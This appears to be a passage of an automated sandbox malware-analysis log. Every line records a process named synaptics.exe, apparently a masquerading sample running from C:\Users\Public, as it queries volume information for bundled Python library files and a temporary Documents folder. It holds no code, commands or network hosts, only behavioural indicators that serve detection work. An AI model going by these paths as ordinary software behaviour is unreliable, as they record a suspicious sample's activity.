Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc.21958688 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pywin32.pth VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc.21946400 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pywin32_system32 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pywin32_system32 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__pycache__\__init__.cpython-310.pyc.21921056 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\request.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\request.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\request.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\request.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\request.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\urllib\__pycache__\request.cpython-310.pyc.21921472 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\base64.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\base64.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\base64.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\base64.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\base64.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\base64.cpython-310.pyc.25841984 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\re.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\re.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\re.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\re.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\re.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\re.cpython-310.pyc.25768232 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\enum.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\enum.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\enum.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\enum.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\enum.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\enum.cpython-310.pyc.25844768 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\types.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\types.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\types.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\types.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\types.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\types.cpython-310.pyc.25844384 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_compile.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_compile.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_compile.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_compile.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_compile.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\sre_compile.cpython-310.pyc.25860264 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_parse.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_parse.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_parse.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_parse.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_parse.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\sre_parse.cpython-310.pyc.22172160 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_constants.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_constants.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_constants.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_constants.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\sre_constants.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\sre_constants.cpython-310.pyc.22225032 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\functools.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\functools.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\functools.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\functools.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\functools.cpython-310.pyc.22172448 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\collections\__pycache__\__init__.cpython-310.pyc.25954528 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\keyword.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\keyword.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\keyword.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\keyword.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\keyword.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\keyword.cpython-310.pyc.22172736 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\operator.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\operator.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\operator.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\operator.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\operator.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\operator.cpython-310.pyc.22174944 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\reprlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\reprlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\reprlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\reprlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\reprlib.cpython-310.pyc.22175136 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\copyreg.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\copyreg.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\copyreg.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\copyreg.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\copyreg.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\copyreg.cpython-310.pyc.22175136 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\struct.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\struct.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\struct.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\struct.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\struct.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\struct.cpython-310.pyc.22175424 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\bisect.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\bisect.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\bisect.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\bisect.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\bisect.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\bisect.cpython-310.pyc.25653280 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__init__.py VolumeInformation
